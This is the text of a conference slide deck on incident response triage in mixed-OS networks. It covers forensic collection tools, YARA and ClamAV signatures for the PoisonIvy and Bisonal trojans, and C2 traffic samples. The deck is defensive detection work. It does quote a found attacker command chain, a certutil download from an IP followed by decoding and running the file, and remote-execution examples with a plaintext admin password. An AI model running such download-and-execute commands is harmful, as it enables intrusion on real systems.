BSides IR in Heterogeneous Environment

Practical Incident Response in
Heterogeneous Environment
Keven Murphy & Stefano Maccaglia
1

The mass-triage problem in 2018
• The investigation process (Triage), in any IT incident, is the key to solve the case and
to clean all the affected systems.
• But in heterogeneous environments, where Windows, Linux, Mac OS, and Unix
systems are potentially affected by the attacker, the investigation process is slowed
by a number of technical complexities.
 First problem is related to a common platform and procedure to adopt for the triage as many
technologies are capable of covering only a portion of the environment.
 Second problem, what to look for, as the triage is aimed to identify malicious artifacts and usual
technologies are not providing flexibility and agility to shape the triage process.
 Third problem, the capability to search the heterogeneous environment using custom IOCs.
 Fourth problem, the possibility to pinpoint known badness which allows for easier mitigation.
• In our approach, the IOCs play an important role both for the investigation process
and the definition of the best way to approach the triage. We were looking to a
“rule them all” solution aimed to overcome traditional limitations of the most
common commercial solutions.
2

Traditional IOCs application
• The traditional IR approach:
• Context, in regard of IOCs, typically does not exists.
• Application of IOCs to the environment is rule-based
• Customization of IOCs are not an option in some commercial products.
• Rule-based detection will miss changes made to the actor’s tools
3

Our idea
• The production of code leaves traces in any binary.
• The binary can contain debugging symbols, which give you a lot of information.
• Often the attacker tools include the use of specific libraries or functions.
• A lot of fingerprinting can be done with software, an this is very useful for IR
analyses.
• The combined information of both can help to solve the attribution problem.
• Helps with assessment of risks
• Identifying end goals for known actors
• Aid the creation of IOCs that are “actionable” and not “disposable”
4

RIFT (Retrieve Interesting Files Tool)
● Retrieves files/directories based on regex list
● Uses Sleuthkit to retrieve files forensically
● Outputs files files into a directory (machine name)
● Retrieved files are saved remote share/USB
● Recreates the directory structure of where the file was found
● To run:
● Download:
rift --verbose --savedrive [SAVEDRIVE]
https://github.com/chaoticmachinery/frac_rift
5

Getfileslist.txt examples
● “getfileslist.txt” contains a regex list of files and directories that RIFT will retrieve
6
ntuser.dat$
system32/winevt/logs/
^/etc/
.ssh

FRAC (Forensic Response ACquisition)
● Uses RIFT to forensically retrieve files/directories across the network
● Recommend using PAExec or SSH/SSHPASS to connect to remote machines
● Requires local admin rights and remote share (SMB/NFS depending on OS)
● Supports single IP, CIDR notation, and IP range like the following examples:
● Can be used to execute any command on remote machines
● To run:
–172.16.10.12
–172.16.10.1/24
–172.16.10.1-172.16.10.230
frac_v0.05 --iplist iplist.txt --cmd cmd.txt –verbose
paexec.exe [IP] -n 4 -u [ADMINID] -p [ADMINPASS] -s cmd /C "net use
[SHAREDRV] /delete /yes & net use [SHAREDRV] [SHARE]
/user:[SHAREUSERID] [SHAREPASSWD] && cd /d [SAVEDRIVE] && rift.exe --
verbose --savedrive [SAVEDRIVE] && net use [SHAREDRV] /delete /yes"
sshpass -p [ADMINPASS] ssh [IP] "mkdir [SHAREDRV];mount [MNTOPTS]
[SRCBOX]:[SRCMNT] [SHAREDRV] ; cd [SHAREDRV]/frac_v0.05 && ./rift --
verbose --savedrive [SAVEDRIVE] ; cd / && umount [SHAREDRV] && rmdir
[SHAREDRV]"
Examples
of
Cmd.Txt
7

FRAC (Forensic Response Acquisition): The Output
● FRAC/RIFT creates directories with the hostname of the machine
drwxr-xr-x 7 root root 4096 Apr 11 19:39 machinea_04112018_19-18-58
drwxr-xr-x 9 root root 4096 Apr 11 20:11 machineb_04112018_15-19-02
drwxr-xr-x 135 root root 20480 Apr 11 19:37 etc
-rw-r--r-- 1 root root 675539 Apr 11 19:40 getfiles.txt
drwxr-xr-x 3 root root 4096 Apr 11 19:37 home
drwxr-xr-x 3 root root 4096 Apr 11 19:37 opt
drwxr-xr-x 5 root root 4096 Apr 11 19:21 root
-rw-r--r-- 1 root root 230661477 Apr 11 19:43 machineb_04112018_15-19-28_fls.out
drwxr-xr-x 5 root root 4096 Apr 11 19:38 usr
drwxr-xr-x 5 root root 4096 Apr 11 19:40 var
Getfiles.txt
Contains the mactime information for all of the files retrieved as well as the inode
*fls.out
Contains the fls.out (mactime) output from the Sleuthkit FLS command.
All of the directory structure is recreated and files are forensically copied to where
they existed on the drive.
8

Actionable IOCs (AIOCs)
• The concept of “actionable” IOCs has been derived and refined from a collective set of
Incident Response investigations, and could become a valid support of our investigative
process if organized in a scientifically sound approach.
• Utilizes procedures, analysis, and evidence for a methodical approach
• Based on positive matches can help identify the attacker
• It allow the creation of a structured knowledge base of attackers
• The knowledge base allows the creation of attacker profiles
9

Malware analysis process to build AIOCs
10

Example: PoisonIvy
• PoisonIvy, a Remote Access Tool/Trojan (RAT) often used in targeted attacks, had been
widely seen until around 2013.
• Since then, the number of cases using PoisonIvy decreased, and there was no special
variant with expanded features seen in the wild.
• However, recently, we identified PoisonIvy with expanded features in its communication
function capable to bypass HTTP/HTTPS proxy in APT and cybercriminal attacks thanks to
modifications in the malware code.
Latest PoisonIvy variants are different
11

YARA RULES
PoisonIvy typical IOC
rule poisonivy_1 : rat
{
meta:
description = "Poison Ivy"
author = "Jean-Philippe Teissier / @Jipe_"
date = "2013-02-01"
filetype = "memory"
version = "1.0"
ref1 = "https://code.google.com/p/volatility/source/browse/trunk/contrib/plugins/malware/poisonivy.py
strings:
$a = { 53 74 75 62 50 61 74 68 ?? 53 4F 46 54 57 41 52 45 5C 43 6C 61 73 73 65 73 5C 68 74 74 70 5C 73 68 65 6C
6C 5C 6F 70 65 6E 5C 63 6F 6D 6D 61 6E 64 [22] 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 73 6F 66 74 5C 41 63
74 69 76 65 20 53 65 74 75 70 5C 49 6E 73 74 61 6C 6C 65 64 20 43 6F 6D 70 6F 6E 65 6E 74 73 5C }
condition:
$a
}
rule PoisonIvy_2
{
meta:
author = " Kevin Breen <kevin@techanarchy.net>"
date = "2014/04"
ref = "http://malwareconfig.com/stats/PoisonIvy"
maltype = "Remote Access Trojan"
filetype = "exe"
strings:
$stub = {04 08 00 53 74 75 62 50 61 74 68 18 04}
$string1 = "CONNECT %s:%i HTTP/1.0"
$string2 = "ws2_32"
$string3 = "cks=u"
$string4 = "thj@h"
$string5 = "advpack"
condition:
$stub at 0x1620 and all of ($string*) or (all of them)
}
} rule PoisonIvy_Generic_3 {
meta:
description = "PoisonIvy RAT Generic Rule"
author = "Florian Roth"
date = "2015-05-14"
hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
strings:
$k1 = "Tiger324{" fullword ascii
$s2 = "WININET.dll" fullword ascii
$s3 = "mscoree.dll" fullword wide
$s4 = "WS2_32.dll" fullword
$s5 = "Explorer.exe" fullword wide
$s6 = "USER32.DLL"
$s7 = "CONOUT$"
$s8 = "login.asp"
$h1 = "HTTP/1.0"
$h2 = "POST"
$h3 = "login.asp"
$h4 = "check.asp"
$h5 = "result.asp"
$h6 = "upload.asp"
condition:
uint16(0) == 0x5a4d and filesize < 500KB and
(
$k1 or all of ($s*) or all of ($h*)
)
rule PoisonIvy_Sample_APT {
meta:
description = "Detects a PoisonIvy APT malware group"
author = "Florian Roth"
reference = "VT Analysis"
date = "2015-06-03"
hash = "b874b76ff7b281c8baa80e4a71fc9be514093c70"
strings:
$s0 = "pidll.dll" fullword ascii
$s1 = "sens32.dll" fullword wide
$s3 = "FileDescription" fullword wide
$s4 = "OriginalFilename" fullword
$s5 = "ZwSetInformationProcess" fullword ascii
$s9 = "Microsoft Media Device Service Provider" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 47KB and all of them
} 12

rule PoisonIvy {
strings:
$s1 = "%supdate%4d%02d%02d%02d%02d%02d.tmp" wide ascii
$s2 = "cks=u" wide ascii
$s3 = “CONNECT %s:%i HTTP//1.0” wide ascii
$s4 = “vry7fo/URLDownez{” wide ascii
$s5 = “6u%u.193.%d” wide ascii
$s6 = “/c del %s > nul” wide ascii
$s7 = “%u.193.%d.%d” wide ascii
$s8 = “GET %s HTTP/1.1” wide ascii
condition:
($s1 and $s2 and $s3) or ($s4 and $s5) or ($s6 and $s7 and $s8) and
// MZ signature at offset 0 and ...
uint16(0) == 0x5A4D and
// ... PE signature at offset stored in MZ header at 0x3C
uint32(uint32(0x3C)) == 0x00004550
}
YARA RULES
PoisonIvy Actionable IOC: Yara rule
The first three strings identify the
PoisonIvy generic variants, including
latest ones.
These strings match an old version of
PoisonIvy 2011 packed in UPX.
For the same sample, we use these
strings to match the decompressed
version of PoisonIvy (always 2011).

AIOCs formalization process
Atomic
IOCs
High order Yara
rules for files
and packets
Actor tags and
attack
descriptions
Actor tools
High order
ClamAV signature
High order log and
system artifacts
System and
network
visibility
Alternative
System
visibility
Log and
artifacts
visibility
Classification and attribution
Virustotal
and other
repository
searches
Evolutive and comparative analysis
formalization
14

• Bisonal is another example. It is a backdoor.
• The malware can be split into two components:
 the main module,
 communication module.
• The main module is responsible for providing the framework to execute the various
components within the malware.
• The communication module is responsible for the sending of information to the server,
receiving new commands from it and downloading of new executable.
• If a new executable is downloaded successfully, it will notifying the main
module to execute it.
• The malware is capable of:
• Listing and controlling processes
• Creating and deleting files
• Creating a remote shell
• Downloading and executing files
• Bisonal is an APT tool.
Trojan.Bisonal
15

Trojan.Bisonal traffic
• Custom “flag” and c2 domain – used to track victim
16
GET /j/news.asp?id=* HTTP/1.1
User-Agent: flag:khi host:Business IP:10.0.0.51
OS:XPSP3 vm:.. proxy:..
Host: online.cleansite.us
Cache-Control: no-cache
----------------
GET /a.asp?id=* HTTP/1.1
Accept:*/*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; Trident/4.0;.NET CLR 2.0.50727;
.NET CLR 3.0.04.506.648;.NET CLR 3.5.21002)
Host: khi.acmetoy.com
Connection: Keep-Alive
GET
/rc/news1.asp?id=flag:831nec%20host:Remote%20PC%20
IP:169.254.100.211%20OS:XPSP3%20vm:..%20proxy:..
HTTP/1.1
User-Agent: flag:831nec host:Remote PC
IP:169.254.100.211
OS:XPSP3 vm:?? proxy:??
Host: online.4pu.com
----------------
GET /a.asp?id=* HTTP/1.1
Accept:*/*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; Trident/4.0;.NET CLR 2.0.50727;
.NET CLR 3.0.04.506.648;.NET CLR 3.5.21002)
Host: necnec.dns04.com
Connection: Keep-Alive

Trojan.Bisonal resulting AIOC description
o Type of malware: Modular Trojan (single stage), mainly used for data stealing
o Capabilities: beaconing, listing and controlling processes, creating and deleting files, creating
remote shells, downloading and executing files
o Dissemination strategy: via Dropper or email attachment
o Architecture: Client / Server using public C2s
o Type of communication: HTTP protocol (in general it uses TCP/80 and TCP/443, but port can be
customized)
o Related Adversary: HeartBeat APT Group (Chinese)
o Earlier Adversary detection: November 2009 (South Korea - TrendMicro)
o Area of operation: actually limited to Asia (including Russia)
o Recorded targets: Mitsubishi Heavy Industries, NEC Corp, Nippon Steel Corp, IHI Corp, several
Ministries in Japan and South Korea.
o Type of AIOCs developed: Yara rules for files, Yara rules for PCAPs, ClamAV rules, Snort Rule,
Registry and logs.
17

Bisonal Behavior
 Sample: 918a78b49397b17da48f37206fa7801b11d410ea6faa755d0aa27872c7e84c74
 set registry value
 key: HKCUSoftwareMicrosoftWindowsCurrentVersionRun value: dfea data: C:Windowstasksdfea.exe
 key: HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap value: UNCAsIntranet data: 0
 key: HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap value: AutoDetect data: 1
 Sample> E8ff9de367c771fd9a5ae2df91b62fe57a64f528a7a80dbd9e307a7ae3e6af80
 Set registry value
 key: HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap value: UNCAsIntranet data: 0
 key: HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap value: AutoDetect data: 1
Registry keys IOCs
18
 Sample: 918a78b49397b17da48f37206fa7801b11d410ea6faa755d0aa27872c7e84c74
 Create File
 C:WindowsTasksdfea.exe
 Sample: E8ff9de367c771fd9a5ae2df91b62fe57a64f528a7a80dbd9e307a7ae3e6af80
 Create File
 C:UsersAdminAppDataLocalTempchrome.exe
 C:WindowsTaskstaskeng.exe
Created files IOCs

YARA RULES
rule Trojan.Bisonal {
strings:
$s1 = "wkko%00hhh1y~|t}ppt1|pr0Josp~{Yvsz0y~rz0g0p/1~lo" wide ascii
$s2 = "defa" wide ascii
$s3 = "love a meng" wide ascii
$s4 = "HE@L-PShellE" wide ascii
$s5 = "xecut"
$s6 = "wkko%00yjq{1|r|1pm1tm0Josp~{Yvsz0y~rz0g0p/1~lo" wide ascii
$s7 = "http://%s/%s.asp?id=%s%s%s"
$s8 = "http://%s/a.asp?id=%s%s"
$s9 = "c:a1.txt“
condition:
($s1 and $s2) or ($s2 and $s3) or ($s4 and $5) and ($s6 and $s7 and $s8 and $s9) and
// MZ signature at offset 0 and ...
uint16(0) == 0x5A4D and
// ... PE signature at offset stored in MZ header at 0x3C
uint32(uint32(0x3C)) == 0x00004550
}
Trojan.Bisonal family
the first two strings are
common to other Bisonal
samples, but not all.
The latest samples contain different
strings, except for $s6 string which is
very similar to the first string in
conditition $s1.
These strings match a Bisonal sample
that uses a common obfuscation
techniques(split a word in more
lines).
Beyond the common string “defa” the
samples of bisonal present different
string.
19

 Flag:727x
 Flag:1223
 Flag:8080
 Flag:84d
 Flag:d2
 Flag:dick
 Flag:ihi IHI Corp
 Flag:m615
 Flag:MARK 1
 Flag:nec01NEC Corp
 Flag:nsc516 Nippon Streel Corp
 Flag:qqq
 Flag:toray
 Flag:410maff Ministry of Agriculture, Forestry and
Fisheries
 Flag:712mhi Mitsubishi Heavy Industries
 ...
YARA RULES toward AIOCs
Trojan.Bisonal family
rule campaignA {
strings:
$s00 = "Flag:8080" ascii wide nocase
condition:
all of them and
uint16(0) == 0xC3D4
}
rule campaignB {
strings:
$s00 = "Flag:84d" ascii wide nocase
condition:
all of them and
uint16(0) == 0xC3D4
}
rule campaignC {
strings:
$s00 = "flag:boat" ascii wide nocase
condition:
all of them and
uint16(0) == 0xC3D4
}
rule campaignD {
strings:
$s00 = "Flag:d2" ascii wide nocase
condition:
all of them and
uint16(0) == 0xC3D4
}
rule campaignE {
strings:
$s00 = "Flag:dick" ascii wide nocase
condition:
all of them and
uint16(0) == 0xC3D4
}
rule campaignF {
strings:
$s00 = "flag:ihi" ascii wide nocase
condition:
all of them and
uint16(0) == 0xC3D4
}
rule campaignW {
strings:
$s00 = "Flag:qqq" ascii wide nocase
condition:
all of them and
uint16(0) == 0xC3D4
}
To develop AIOCs from atomic
indicators we need to
incorporate «actionable»
elements that link the malware
to a specific actor and
campaign...
This Yara can be
applied to PCAPs
20

22
Clam AV: Intro
• ClamAV is an open source and free anti-virus program.
• ClamAV runs on Windows (ClamWin), Linux, BSD, Solaris, and Mac OS X, and its
mainly designed to scan email attachment, but it can be used as a regular anti-
virus.
• ClamAV includes:
• Features
• Can search archives
• Can search multiple file types
• Multithreaded
 Clamscan
 Clamdscan/Clamd
 Freshclam
Command line virus scanner
Client/Server virus scanner
tool to update the virus definition database

23
YARA Rules, AIOCs and ClamAV
• Yara is the swiss army knife for any low-cost triage and can be applied to many
endpoint forensic platforms.
• Values that work across multiple platforms
• Text strings
• Hex values that are in multiple versions of the binary
• ClamAV provides combination of both worlds.
• By empowering ClamAV with Yara rules, we are able to run massive triage on almost all type
of system using AIOCs we have developed.

Using ClamAV to Scan for Badness
clamscan --infected --recursive --allmatch –archive
-verbose --database ./{yara sigs}.yara {starting directory} |
tee clamav_{date}_yara
clamscan --infected --recursive --allmatch --archive-verbose
--database ./{clamav sigs}.ldb {starting directory} | tee
clamav_{date}_sigs
24

Using ClamAV: Results Custom Rules - ClamAV
● Multiple hits on the same file helps to verify results
/kswapd0: cpuminer_v2.3.3_64bit.UNOFFICIAL FOUND
/kswapd0: cpuminer_generic.UNOFFICIAL FOUND
/kswapd0: cpuminer_v2.3.3_102917_64bit.UNOFFICIAL FOUND
/kswapd0: cpuminer_v2.3.3_102917_32bit.UNOFFICIAL FOUND
/kswapd0!(0): cpuminer_v2.3.3_102917_32bit.UNOFFICIAL FOUND
/minerd: minerd_cpuminer_v2.3.3_64bit.UNOFFICIAL FOUND
/minerd: cpuminer_generic.UNOFFICIAL FOUND
/minerd!(0): cpuminer_generic.UNOFFICIAL FOUND
/yam: yam_cpuminer_64bit.UNOFFICIAL FOUND
/yam!(0): yam_cpuminer_64bit.UNOFFICIAL FOUND
/gcc: XMRig_v2.3.1.UNOFFICIAL FOUND
/gcc!(0): XMRig_v2.3.1.UNOFFICIAL FOUND
25

Using ClamAV: Results Custom Rules - Yara
● Multiple hits on the same file helps to verify results
config.json: YARA.stratum.UNOFFICIAL FOUND
config.json: YARA.monero.UNOFFICIAL FOUND
config.json: YARA.monerohashcom.UNOFFICIAL FOUND
config.json!(0): YARA.monerohashcom.UNOFFICIAL FOUND
outfile: YARA.stratum.UNOFFICIAL FOUND
outfile: YARA.cpuminer.UNOFFICIAL FOUND
outfile!(0): YARA.cpuminer.UNOFFICIAL FOUND
kswapd0: YARA.stratum.UNOFFICIAL FOUND
kswapd0: YARA.cpuminer.UNOFFICIAL FOUND
kswapd0!(0): YARA.cpuminer.UNOFFICIAL FOUND
26

Sigtool: ClamAV command line
27
Sigtool
(signature and database
management tool)
Signature using the hash of
the PE-section of an
executable
Signature using full MD5
hash of file
Signature using the a hex
fragment of a file

C:Documents and SettingsuserDesktop> sigtool --md5 malware.exe >> sigFile.hdb
C:Documents and SettingsuserDesktop>type sigFile.hdb
B4619d8058362b38d20480c14d30c209:40500:malware.exe
C:Documents and SettingsuserDesktop> sigtool --mdb malware.exe.text.dat >>
sigFile.mdb
• To create a unique signature for an executable file we use the --md5 option of
sigtool, and then save the output into a file with a “.hdb” extension.
• To create a signature that will match a particular PE section (typically the sections are
labelled .text, .rdata, .data, .idata, etc.), use the “--mdb” option of sigtool and then save
the output into a “.mdb” file. The easiest way to generate MD5 based section signatures is
to extract target PE sections into separate files.
Sigtool: Command explained
28

C:Documents and SettingsuserDesktop> echo I am malware | sigtool --hex-dump
4920616d2061206d616c77617265200d0a
C:Documents and SettingsuserDesktop> echo
testSig:0:*:4920616d2061206d616c77617265200d0a >> sigFile.ndb
• The last method is to use Body-based signatures in an hexadecimal format.
It relies on extracted strings from the body of the file.
• In the next example we create an hex dump of the string “I am malware”.
• Next we save the signature that has the format called “Extended Signature”:
MalwareName:TargetType:Offset:HexSignature and redirect the
output to a file “.ndb”.
Sigtool: Command explained
29

Generating ClamAV Signatures with IDA with CASC
● ClamAV Signature Creator (CASC)
● How to use it:
https://github.com/Cisco-Talos/CASC/wiki
Open binary in IDA and select Strings Window
Right click and select add string
1
Select text2
3
30

Generating ClamAV Signatures with IDA with CASC
• Select signature(s) and hit “Create ClamAV Signature” button on the ClamAV Signature Creator view.
• In the popup, find the signature and save to file
Note: Make sure the extension is ldb
4
5
31

Remote ClamAV scan with Psexec
 Psexec can execute remote commands
and so start the scan on every computer
of a network.
 To use Psexec, the user must have rights
to access the filesystem of the target
computer.
> psexec 192.168.81.128 -u administrator -p p4ssw0rd1! "C:Program Files (x86)ClamAV
clamscan" -r -d C:bioazih.ndb C:
> psexec DESTINATIONIP -u USER -p PASSWORD “REMOTE_PATH_TO_CLAMSCAN" -r -d
LOCAL_PATH_TO_CLAMAV_DATABASE_FILE REMOTE_PATH_TO_SCAN
Psxec machine
with ClamAV DB
Scanned Host 1
Scanned Host 2
Scanned Host 3
32

Remote ClamAV scan with FRAC
 FRAC can be used to scan the network.
 It tracks those IP addresses that cannot
be connected so that can be feed back to
FRAC later for scanning.
 Remember to create a share with clam
databases
 Might be able to scan more 25 boxes at a
time. Do sensitive boxes by hand vs using
FRAC.
FRAC machine
with ClamAV DB
Scanned Host 1
Scanned Host 2
Scanned Host 3
./frac_v0.05.pl --iplist iplist.txt --cmd cmd.txt --verbose
33

ClamAV PoisonIvy variants signature
PoisonIvy2015:0:*:257375706461746525346425303264253032642530326425303264253032642e746d70*434f4e4e4543542025733a256920485454502f2f312e30
PoisonIVY2011:0:*:202f632064656c202573203e206e756c*25752e3139332e25642e2564*47455420257320485454502f312e31*757564646f7362656174
PoisonIVY2011UPX:0:*:76727937666f2f55524c446f776e657a7b*365c5c7525752e3139332e2564
The second part contains instead
“CONNECT %s:%i HTTP//1.0”
The first Rule contains two non-successive strings divided by the symbol “*”. The first
string translated from hexadecimal contains the word
“%supdate%4d%02d%02d%02d%02d%02d.tmp”.
This rule takes a Poison Ivy sample dated 2011 and we use 3 different
strings. The first is “/c del %s > nul”
The second strings is
“GET %s HTTP/1.1”
The last matches to
“uuddosbea”
The third rule is the same sample
mentioned above, but without the
package UPX. The first of two strings
is “vry7fo/URLDownez{”
The second strings is
“6u%u.193.%d”
34

ClamAV Bisonal - logic signature
BISONAL;Target:1;(0&1&2)|(0&2&3)|(4&5)|(6&7&8);534f4654574152455c4d6963726f736f66745c57696e646f77735c43757272656e7456657273696f6e5c52756e;776b6
b6f25303068686831797e7c747d707074317c7072304a6f73707e7b5976737a30797e727a306730702f317e6c6f;633a5c77696e646f77735c7461736b735c646566612e6578
65;6c6f76652061206d656e67;4845404c2d505368656c6c45;7865637574;776b6b6f253030796a717b317c727c31706d31746d304a6f73707e7b5976737a30797e727a306
730702f317e6c6f;687474703a2f2f25732f25732e6173703f69643d257325732573;633a5c615c322e747874
BISONAL;Target:1;(0&1&2)|(0&2&3)|(4&5)|(6&7&8)
This is a ClamAV “Body-based”, slightly different, from
the previous one. It has to be put inside a “.LDB” file
and it is possible to use logic operators inside the rule.
Logical operators in action within the BISONAL signature.
Numbers are placeholders for the hex strings.
Match IF found: (both strings 0,1 and 2) OR (both strings
0,2 and 3) OR (only strings 4 and 5) OR (both strings 6,7
and 8).
534f4654574152455c4d6963726f736f66745c57696e646f77735c43757272656e7456657273696f6e5c52756e =
SOFTWAREMicrosoftWindowsCurrentVersionRun
776b6b6f25303068686831797e7c747d707074317c7072304a6f73707e7b5976737a30797e727a306730702f317e6
c6f = wkko%00hhh1y~|t}ppt1|pr0Josp~{Yvsz0y~rz0g0p/1~lo
633a5c77696e646f77735c7461736b735c646566612e657865 = c:windowstasksdfea.exe
6c6f76652061206d656e67 = love a meng
4845404c2d505368656c6c45 = HE@L-PShellE
7865637574 = xecut
776b6b6f253030796a717b317c727c31706d31746d304a6f73707e7b5976737a30797e727a306730702f317e6c6f =
wkko%00yjq{1|r|1pm1tm0Josp~{Yvsz0y~rz0g0p/1~lo
687474703a2f2f25732f25732e6173703f69643d257325732573 = http://%s/%s.asp?id=%s%s%s
633a5c615c322e747874 = c:a2.txtz
1
2
3
4
5
6
7
8
0
35

ClamAV and Forensics
● ClamAV can help with Forensics investigations
– Can detect badness in log files
– Example Find:
● Find in the section C of the modsec logs:
●/var/log/httpd/modsec_audit.log: Win.Downloader.CertutilURLCache-6335697-0 FOUND
●certutil -urlcache -split -f http://xx.xx.xx.xx/update.b64 update.b64
●certutil -decode update.b64 update.exe
●update.exe
36

• Actionable IOCs is an answer to the need of solid indicators to support the investigation, the
attribution and the triage, of incidents generated by malicious actors.
• The adoption of this methodology can positively impact investigation and triage, but also
improves knowledge of the tools and strategies adopted by the adversaries.
• The formalization process behind it can facilitate the exchange of information and
indicators without the risk of unintentional leakage of sensitive information and, in short,
strengthen the proactive and reactive capabilities of any structure.
Where are we heading

BSides IR in Heterogeneous Environment

More Related Content

What's hot (20)

Similar to BSides IR in Heterogeneous Environment (20)

More from Stefano Maccaglia (7)

Recently uploaded (20)

BSides IR in Heterogeneous Environment